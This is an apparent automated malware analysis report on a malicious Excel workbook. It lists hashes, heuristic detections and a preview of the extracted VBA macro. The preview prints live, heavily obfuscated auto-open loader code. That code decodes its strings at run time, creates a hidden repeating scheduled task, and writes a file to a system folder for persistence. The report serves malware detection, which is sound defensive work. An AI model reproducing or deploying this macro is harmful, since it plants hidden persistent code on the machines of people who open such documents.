Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 e4859289a4d57752…

MALICIOUS

Office (OLE) / .XLS

150.0 KB Created: 2021-11-24 12:04:06 Authoring application: Microsoft Excel First seen: 2026-06-15
MD5: c63401eebb6d2acd1a19c89f152c05de SHA-1: 584cfbdcf717f27931ff5d5634f32071c9b983b3 SHA-256: e4859289a4d57752a164fb55ad1cbbe3bd0b84f72a160862da455ca55f6a0c8a
168 Risk Score

Heuristics 5

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    ccc8601433d74214f5013f28a0a0991b: On Error GoTo 0: Set a211ac15ab97681ade50bd1aa4a00916 = CreateObject(UCase(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 15), 1)) & Mid(fff1a755ab7f7f89adf85eab4a800915, 2, 1) & Chr(Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)) + CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 8), 1))) & Right(Left(fff1a755ab7f7f89adf85eab4a800915, 3), 1) & Chr(Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 2, 1)) + 1) & Left(Mid(fff1a755ab7f7f89adf85eab4a800915, 11, 2), 1) & Chr …
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    ccc8601433d74214f5013f28a0a0991b: On Error GoTo 0: Set a211ac15ab97681ade50bd1aa4a00916 = CreateObject(UCase(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 15), 1)) & Mid(fff1a755ab7f7f89adf85eab4a800915, 2, 1) & Chr(Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)) + CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 8), 1))) & Right(Left(fff1a755ab7f7f89adf85eab4a800915, 3), 1) & Chr(Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 2, 1)) + 1) & Left(Mid(fff1a755ab7f7f89adf85eab4a800915, 11, 2), 1) & Chr …
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 70713 bytes
SHA-256: f45e9007bba4b56670780e9e6448f516e7115b67698d397e5a1ada52d5396342
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Const b211ac55ab7f689adf50ad1aa4a831916 = 8: Const b211ac55ab7f689adf50ad1aa4a832916 = 4: Const b211ac55ab7f689adf50ad1aa4a833916 = 32: Dim b211ac55ab7f689adf50ad1aa4a802916(30): Dim b211ac55ab7f689adf50ad1aa4a803916(30)
Sub auto_open()
Call bbf1a755ab7f7f89adf95e1ad2fe4a800915(1, 0): Call bbf1a755ab7f7f89adf95e1ad2fe4a800915(0, 1):
End Sub
Function b211ac55ab7f689adf50ad1aa4a804916(b211ac55ab7f689adf50ad1aa4a805916, b211ac55ab7f689adf50ad1aa4a806916)
If b211ac55ab7f689adf50ad1aa4a806916 = 0 Then
b211ac55ab7f689adf50ad1aa4a804916 = b211ac55ab7f689adf50ad1aa4a805916: Exit Function
ElseIf b211ac55ab7f689adf50ad1aa4a806916 = 31 Then
If b211ac55ab7f689adf50ad1aa4a805916 And 1 Then
b211ac55ab7f689adf50ad1aa4a804916 = &H80000000:
Else: b211ac55ab7f689adf50ad1aa4a804916 = 0: End If: Exit Function: ElseIf b211ac55ab7f689adf50ad1aa4a806916 < 0 Or b211ac55ab7f689adf50ad1aa4a806916 > 31 Then Err.Raise 6: End If
If (b211ac55ab7f689adf50ad1aa4a805916 And b211ac55ab7f689adf50ad1aa4a803916(31 - b211ac55ab7f689adf50ad1aa4a806916)) Then
b211ac55ab7f689adf50ad1aa4a804916 = ((b211ac55ab7f689adf50ad1aa4a805916 And b211ac55ab7f689adf50ad1aa4a802916(31 - (b211ac55ab7f689adf50ad1aa4a806916 + 1))) * b211ac55ab7f689adf50ad1aa4a803916(b211ac55ab7f689adf50ad1aa4a806916)) Or &H80000000:
Else: b211ac55ab7f689adf50ad1aa4a804916 = ((b211ac55ab7f689adf50ad1aa4a805916 And b211ac55ab7f689adf50ad1aa4a802916(31 - b211ac55ab7f689adf50ad1aa4a806916)) * b211ac55ab7f689adf50ad1aa4a803916(b211ac55ab7f689adf50ad1aa4a806916)): End If: End Function
Function b211ac55ab7f689adf50ad1aa4a807916(b211ac55ab7f689adf50ad1aa4a805916, b211ac55ab7f689adf50ad1aa4a806916)
If b211ac55ab7f689adf50ad1aa4a806916 = 0 Then
b211ac55ab7f689adf50ad1aa4a807916 = b211ac55ab7f689adf50ad1aa4a805916: Exit Function
ElseIf b211ac55ab7f689adf50ad1aa4a806916 = 31 Then
If b211ac55ab7f689adf50ad1aa4a805916 And &H80000000 Then
b211ac55ab7f689adf50ad1aa4a807916 = 1:
Else: b211ac55ab7f689adf50ad1aa4a807916 = 0: End If: Exit Function:
ElseIf b211ac55ab7f689adf50ad1aa4a806916 < 0 Or b211ac55ab7f689adf50ad1aa4a806916 > 31 Then Err.Raise 6: End If: b211ac55ab7f689adf50ad1aa4a807916 = (b211ac55ab7f689adf50ad1aa4a805916 And &H7FFFFFFE) \ b211ac55ab7f689adf50ad1aa4a803916(b211ac55ab7f689adf50ad1aa4a806916)
If (b211ac55ab7f689adf50ad1aa4a805916 And &H80000000) Then
b211ac55ab7f689adf50ad1aa4a807916 = (b211ac55ab7f689adf50ad1aa4a807916 Or (&H40000000 \ b211ac55ab7f689adf50ad1aa4a803916(b211ac55ab7f689adf50ad1aa4a806916 - 1))): End If: End Function
Function b211ac55ab7f689adf50ad1aa4a808916(b211ac55ab7f689adf50ad1aa4a805916, b211ac55ab7f689adf50ad1aa4a806916): b211ac55ab7f689adf50ad1aa4a808916 = b211ac55ab7f689adf50ad1aa4a804916(b211ac55ab7f689adf50ad1aa4a805916, b211ac55ab7f689adf50ad1aa4a806916) Or b211ac55ab7f689adf50ad1aa4a807916(b211ac55ab7f689adf50ad1aa4a805916, (32 - b211ac55ab7f689adf50ad1aa4a806916)): End Function
Function b211ac55ab7f689adf50ad1aa4a821916(b211ac55ab7f689adf50ad1aa4a830916): Dim b211ac55ab7f689adf50ad1aa4a822916: Dim b211ac55ab7f689adf50ad1aa4a823916: Dim b211ac55ab7f689adf50ad1aa4a824916(): Dim b211ac55ab7f689adf50ad1aa4a825916: Dim b211ac55ab7f689adf50ad1aa4a826916: Dim b211ac55ab7f689adf50ad1aa4a827916: Const b211ac55ab7f689adf50ad1aa4a828916 = 512: Const b211ac55ab7f689adf50ad1aa4a829916 = 448: b211ac55ab7f689adf50ad1aa4a822916 = Len(b211ac55ab7f689adf50ad1aa4a830916): b211ac55ab7f689adf50ad1aa4a823916 = (((b211ac55ab7f689adf50ad1aa4a822916 + ((b211ac55ab7f689adf50ad1aa4a828916 - b211ac55ab7f689adf50ad1aa4a829916) \ b211ac55ab7f689adf50ad1aa4a831916)) \ (b211ac55ab7f689adf50ad1aa4a828916 \ b211ac55ab7f689adf50ad1aa4a831916)) + 1) * (b211ac55ab7f689adf50ad1aa4a828916 \ b211ac55ab7f689adf50ad1aa4a833916): ReDim b211ac55ab7f689adf50ad1aa4a824916(b211ac55ab7f689adf50ad1aa4a823916 - 1): b211ac55ab7f689adf50ad1aa4a825916 = 0: b211ac55ab7f689adf50ad1aa4a826916 = 0:
Do Until b211ac55ab7f689adf50ad1aa4a826916 >= b211ac55ab7f689adf50ad1aa4a822916: b211ac55ab7f689adf50ad1aa4a827916 = b211ac55ab7f689adf50ad1aa4a826916 \ b211ac55ab7f689adf50ad1aa4a832916: b211ac55ab7f689adf50ad1aa4a825916 = (b211ac55ab7f689adf50ad1aa4a826916 Mod b211ac55ab7f689adf50ad1aa4a832916) * b211ac55ab7f689adf50ad1aa4a831916: b211ac55ab7f689adf50ad1aa4a824916(b211ac55ab7f689adf50ad1aa4a827916) = b211ac55ab7f689adf50ad1aa4a824916(b211ac55ab7f689adf50ad1aa4a827916) Or b211ac55ab7f689adf50ad1aa4a804916(Asc(Mid(b211ac55ab7f689adf50ad1aa4a830916, b211ac55ab7f689adf50ad1aa4a826916 + 1, 1)), b211ac55ab7f689adf50ad1aa4a825916): b211ac55ab7f689adf50ad1aa4a826916 = b211ac55ab7f689adf50ad1aa4a826916 + 1: Loop: b211ac55ab7f689adf50ad1aa4a827916 = b211ac55ab7f689adf50ad1aa4a826916 \ b211ac55ab7f689adf50ad1aa4a832916: b211ac55ab7f689adf50ad1aa4a825916 = (b211ac55ab7f689adf50ad1aa4a826916 Mod b211ac55ab7f689adf50ad1aa4a832916) * b211ac55ab7f689adf50ad1aa4a831916
b211ac55ab7f689adf50ad1aa4a824916(b211ac55ab7f689adf50ad1aa4a827916) = b211ac55ab7f689adf50ad1aa4a824916(b211ac55ab7f689adf50ad1aa4a827916) Or b211ac55ab7f689adf50ad1aa4a804916(&H80, b211ac55ab7f689adf50ad1aa4a825916): b211ac55ab7f689adf50ad1aa4a824916(b211ac55ab7f689adf50ad1aa4a823916 - 2) = b211ac55ab7f689adf50ad1aa4a804916(b211ac55ab7f689adf50ad1aa4a822916, 3): b211ac55ab7f689adf50ad1aa4a824916(b211ac55ab7f689adf50ad1aa4a823916 - 1) = b211ac55ab7f689adf50ad1aa4a807916(b211ac55ab7f689adf50ad1aa4a822916, 29): b211ac55ab7f689adf50ad1aa4a821916 = b211ac55ab7f689adf50ad1aa4a824916: End Function
Function bbf1a755ab7f7f89adf95e1ad2fe4a800915(b211ac55ab7f689adf50ad1aa4a800916, d211af55ab7f7689adf950ad2ab4a800916, Optional a211ac15ab97681ade50bd1aa4a00912 = 0) As String: fff1a755ab7f7f89adf85eab4a800915 = "": fff1a755ab7f7f89adf95eab4a800915 = "_try[bhmrwxy]": On Error GoTo b211ac55ab7f689adf50ad1aa4a80936: fff1a755ab7f7f89adf95eab4a800915 = fff1a755ab7f7f89adf95eab4a800915 & Mid(fff1a755ab7f7f89adf95eab4a800915, InStr(fff1a755ab7f7f89adf95eab4a800915, Chr(Asc(Mid(fff1a755ab7f7f89adf95eab4a800915, 6, 1)) - 1)), 1):
b211ac55ab7f689adf50ad1aa4a800926: On Error GoTo 0
If b211ac55ab7f689adf50ad1aa4a800916 = 1 And d211af55ab7f7689adf950ad2ab4a800916 = a211ac15ab97681ade50bd1aa4a00912 Then
If Not Sheets(CInt(Left(Right(fff1a755ab7f7f89adf95eab4a800915, 7), 2)) - Asc(Space(1))).Range(Right(Left(fff1a755ab7f7f89adf95eab4a800915, 27), 1) & Trim(Str(b211ac55ab7f689adf50ad1aa4a800916))).Value = "" Then
For b211ac55ab7f689adf50ad1aa4a847916 = 0 To 12: fff1a755ab7f7f89adf85eab4a800915 = fff1a755ab7f7f89adf85eab4a800915 & LCase(Chr((Asc(Space(1)) + b211ac55ab7f689adf50ad1aa4a847916) * 2 + 1)): Next: On Error GoTo bbb9681439d74414f5017f28a0a0991b: fff1a755ab7f7f89adf85eab4a800915 = fff1a755ab7f7f89adf85eab4a800915 & Mid(fff1a755ab7f7f89adf85eab4a800915, InStr(fff1a755ab7f7f89adf85eab4a800915, Chr(Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 6, 1)) - 1)), 1)
ccc8601433d74214f5013f28a0a0991b: On Error GoTo 0: Set a211ac15ab97681ade50bd1aa4a00916 = CreateObject(UCase(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 15), 1)) & Mid(fff1a755ab7f7f89adf85eab4a800915, 2, 1) & Chr(Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)) + CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 8), 1))) & Right(Left(fff1a755ab7f7f89adf85eab4a800915, 3), 1) & Chr(Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 2, 1)) + 1) & Left(Mid(fff1a755ab7f7f89adf85eab4a800915, 11, 2), 1) & Chr(Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 10, 1)) - 7) & Mid(fff1a755ab7f7f89adf85eab4a800915, 3, 1) & Chr(Asc(Right(Left(fff1a755ab7f7f89adf85eab4a800915, 14), 1)) - 3) & UCase(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 15), 1)) & Mid(fff1a755ab7f7f89adf85eab4a800915, 3, 1) & Chr(Asc(Mid(Left(fff1a755ab7f7f89adf85eab4a800915, 13), 10, 1)) - 1) & Chr(Asc(Mid(Left(fff1a755ab7f7f89adf85eab4a800915, 13), 10, 1)) + 3) & Mid(fff1a755ab7f7f89adf85eab4a800915, 5, 1) & _
Left(Right(fff1a755ab7f7f89adf85eab4a800915, Len(fff1a755ab7f7f89adf85eab4a800915) - 1), 2)): Call a211ac15ab97681ade50bd1aa4a00916.Connect: Set b211ac18ab97681a0e50bd1aa4a00916 = a211ac15ab97681ade50bd1aa4a00916.GetFolder(Chr(CInt(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 2)) + CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 8), 2)))): Set c211ac1aab97681a0e50bd1ba4a0f916 = a211ac15ab97681ade50bd1aa4a00916.NewTask(Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) - CInt(StrReverse(Mid(fff1a755ab7f7f89adf85eab4a800915, 17, 2)))): Set d211ac1aeb97681a0e5cbd1ba4adf916 = c211ac1aab97681a0e50bd1ba4a0f916.Settings: d211ac1aeb97681a0e5cbd1ba4adf916.Enabled = (Len(fff1a755ab7f7f89adf85eab4a800915) = CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))))): d211ac1aeb97681a0e5cbd1ba4adf916.StartWhenAvailable = (Len(fff1a755ab7f7f89adf85eab4a800915) = CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - _
Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))))): d211ac1aeb97681a0e5cbd1ba4adf916.RunOnlyIfNetworkAvailable = (Len(fff1a755ab7f7f89adf85eab4a800915) = CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))))): d211ac1aeb97681a0e5cbd1ba4adf916.StopIfGoingOnBatteries = (Not Len(fff1a755ab7f7f89adf85eab4a800915) = CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))))): d211ac1aeb97681a0e5cbd1ba4adf916.DisallowStartIfOnBatteries = (Len(fff1a755ab7f7f89adf85eab4a800915) = CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))))): d211ac1aeb97681a0e5cbd1ba4adf916.Hidden = (Len(fff1a755ab7f7f89adf85eab4a800915) = CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))))): Set e211fc1aeb9768140e5cbd18a4adf916 = _
c211ac1aab97681a0e50bd1ba4a0f916.Triggers.Create(CInt(StrReverse(Mid(fff1a755ab7f7f89adf85eab4a800915, 17, 2))) - Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) + 2): f251fc1aeb9788140e5cbd28a4adf916 = DateAdd(Chr(CInt(StrReverse(Mid(fff1a755ab7f7f89adf85eab4a800915, 17, 2))) + CInt(Mid(fff1a755ab7f7f89adf85eab4a800915, Len(fff1a755ab7f7f89adf85eab4a800915) - 9, 1))), Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)), Now): aa51ff1aeb9788740e5cbd28a3adf916 = Year(f251fc1aeb9788140e5cbd28a4adf916) & Chr(Asc(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 3), 1)) + CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 8), 1))) & Format(Month(f251fc1aeb9788140e5cbd28a4adf916), Trim(Str(Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)))) & Trim(Str(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, Len(fff1a755ab7f7f89adf85eab4a800915), 1))))) & Chr(Asc(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 3), 1)) + _
CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 8), 1))) & Format(Day(f251fc1aeb9788140e5cbd28a4adf916), Trim(Str(Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)))) & Trim(Str(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, Len(fff1a755ab7f7f89adf85eab4a800915), 1))))) & UCase(Chr(Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 10, 1)) + 1)) & Trim(Str(Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)))) & Trim(Str(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, Len(fff1a755ab7f7f89adf85eab4a800915), 1)))) & Chr(CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 2)) + CInt(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))) & Trim(Str(Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)))) & Mid(fff1a755ab7f7f89adf85eab4a800915, 16, 1) & _
Chr(CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 2)) + CInt(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))) & Trim(Str(Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 1, 1)))) & Trim(Str(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, Len(fff1a755ab7f7f89adf85eab4a800915), 1)))): e211fc1aeb9768140e5cbd18a4adf916.StartBoundary = aa51ff1aeb9788740e5cbd28a3adf916: e211fc1aeb9768140e5cbd18a4adf916.DaysInterval = Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1): e211fc1aeb9768140e5cbd18a4adf916.Repetition.Interval = UCase(Chr(Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 8, 1)) + 1)) & UCase(Chr(Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 10, 1)) + 1)) & Mid(fff1a755ab7f7f89adf85eab4a800915, 16, 1) & UCase(Mid(fff1a755ab7f7f89adf85eab4a800915, 7, 1)): e211fc1aeb9768140e5cbd18a4adf916.Repetition.Duration = UCase(Chr(Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 8, 1)) + 1)) & _
Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1) & UCase(Chr(Asc(Mid(fff1a755ab7f7f89adf85eab4a800915, 3, 1)) - 1)): e211fc1aeb9768140e5cbd18a4adf916.Enabled = (Len(fff1a755ab7f7f89adf85eab4a800915) = CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))))): Set bb51ff1aebd788740e7cbd28a3ad9917 = c211ac1aab97681a0e50bd1ba4a0f916.Actions.Create(Asc(Left(fff1a755ab7f7f89adf85eab4a800915, 1)) - CInt(StrReverse(Mid(fff1a755ab7f7f89adf85eab4a800915, 17, 2)))):
If bbf1a755ab7f7f89adf95e1ad2fe4a800915(CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 19, CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 4, 0) = "" Then
GoTo ddd1641463d78214f9010ff8a0a0991b: End If: Set cc71ff1a4bd78874057cbd28a3ab9917 = CreateObject(bbf1a755ab7f7f89adf95e1ad2fe4a800915(CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 19, CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 4, 0)): Set dd91ff1a4bd748740571bd28a3a0991b = cc71ff1a4bd78874057cbd28a3ab9917.GetSpecialFolder(Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1))):
If Not cc71ff1a4bd78874057cbd28a3ab9917.FileExists(dd91ff1a4bd748740571bd28a3a0991b & Chr(CInt(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 2)) + CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 8), 2))) & bbf1a755ab7f7f89adf95e1ad2fe4a800915(CInt(Trim(Str(b211ac55ab7f689adf50ad1aa4a800916)) & Left(Right(fff1a755ab7f7f89adf85eab4a800915, 8), 1)) - 1, CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 4)) Then
Set ee01ff1a44d7481405b1ad28a0a0991b = CreateObject(bbf1a755ab7f7f89adf95e1ad2fe4a800915(CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 9), 2) + 2 - CInt(StrReverse(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 2)))), CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 4, 0)): dd91ff1a4bd748740571bd28a3a0991b = ee01ff1a44d7481405b1ad28a0a0991b.expandEnvironmentStrings(bbf1a755ab7f7f89adf95e1ad2fe4a800915(4, CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 4, 1)): fff1a81b44d744140501ad28a0a0991b = dd91ff1a4bd748740571bd28a3a0991b & bbf1a755ab7f7f89adf95e1ad2fe4a800915(CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, b211ac55ab7f689adf50ad1aa4a800916)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, b211ac55ab7f689adf50ad1aa4a800916)))) - 6, CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, b211ac55ab7f689adf50ad1aa4a800916)) - _
Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, b211ac55ab7f689adf50ad1aa4a800916)))) - 4, b211ac55ab7f689adf50ad1aa4a800916): Set aaa1681479d74414f501af28a0a0991b = cc71ff1a4bd78874057cbd28a3ab9917.CreateTextFile(fff1a81b44d744140501ad28a0a0991b, (Len(fff1a755ab7f7f89adf85eab4a800915) = CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, b211ac55ab7f689adf50ad1aa4a800916)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, b211ac55ab7f689adf50ad1aa4a800916)))))): aaa1681479d74414f501af28a0a0991b.Write LCase(Replace(bbf1a755ab7f7f89adf95e1ad2fe4a800915(b211ac55ab7f689adf50ad1aa4a800916 + 4, CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, b211ac55ab7f689adf50ad1aa4a800916)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, b211ac55ab7f689adf50ad1aa4a800916)))) - b211ac55ab7f689adf50ad1aa4a800916 * 5), """""", """")): aaa1681479d74414f501af28a0a0991b.Close: bb51ff1aebd788740e7cbd28a3ad9917.Path = bbf1a755ab7f7f89adf95e1ad2fe4a800915((CInt(StrReverse(Asc(Right _
(fff1a755ab7f7f89adf85eab4a800915, b211ac55ab7f689adf50ad1aa4a800916)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, b211ac55ab7f689adf50ad1aa4a800916)))) - 4) / (1 + b211ac55ab7f689adf50ad1aa4a800916), CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, b211ac55ab7f689adf50ad1aa4a800916)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 4, b211ac55ab7f689adf50ad1aa4a800916): bb51ff1aebd788740e7cbd28a3ad9917.Arguments = Replace(bbf1a755ab7f7f89adf95e1ad2fe4a800915((Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 2), 1, 1)) - Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 3), 1, 1))), CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))) - 4, 2) & fff1a81b44d744140501ad28a0a0991b & bbf1a755ab7f7f89adf95e1ad2fe4a800915(CInt(Left(Replace(fff1a755ab7f7f89adf85eab4a800915, Left(fff1a755ab7f7f89adf85eab4a800915, 16), ""), 2)) - Asc(UCase(Left(Right(fff1a755ab7f7f89adf85eab4a800915, _
Len(fff1a755ab7f7f89adf85eab4a800915) - 2), 1))) + b211ac55ab7f689adf50ad1aa4a800916, CInt(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 10), 2)) - CInt(Replace(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 11), 3), Left(Right(fff1a755ab7f7f89adf85eab4a800915, 10), 1), "")), (Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 2), 1, 1)) - Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 3), 1, 1)))) & bbf1a755ab7f7f89adf95e1ad2fe4a800915(b211ac55ab7f689adf50ad1aa4a800916, CInt(Left(Replace(fff1a755ab7f7f89adf85eab4a800915, Left(fff1a755ab7f7f89adf85eab4a800915, 16), ""), 2)) - Asc(UCase(Left(Right(fff1a755ab7f7f89adf85eab4a800915, Len(fff1a755ab7f7f89adf85eab4a800915) - (Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 2), 1, 1)) - Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 3), 1, 1)))), 1))), a211ac15ab97681ade50bd1aa4a00912) & Chr(Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 10), (Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 2), 1, 1)) - _
Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 3), 1, 1))))) - 1) & Chr(Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 10), Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 2), 1, 1)) - Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 3), 1, 1)))) - 1) & Chr(Str(Left(Right(fff1a755ab7f7f89adf85eab4a800915, 10), Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 2), 1, 1)) - Asc(Mid(Right(fff1a755ab7f7f89adf85eab4a800915, 3), 1, 1)))) - 1), Chr(Asc(Mid(fff1a755ab7f7f89adf95eab4a800915, 9, 1)) + 1) & Chr((CInt(StrReverse(Str(Asc(UCase(Mid(Left(fff1a755ab7f7f89adf95eab4a800915, 13), 10, 1))) - 2))))), Chr((CInt(StrReverse(Str(Asc(UCase(Mid(Left(fff1a755ab7f7f89adf95eab4a800915, 13), 10, 1))) - 2)))))): Call b211ac18ab97681a0e50bd1aa4a00916.RegisterTaskDefinition(bbf1a755ab7f7f89adf95e1ad2fe4a800915(CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - Str(Mid(fff1a755ab7f7f89adf85eab4a800915, 14, 1)))), CInt(StrReverse(Asc(Right(fff1a755ab7f7f89adf85eab4a800915, 1)) - _
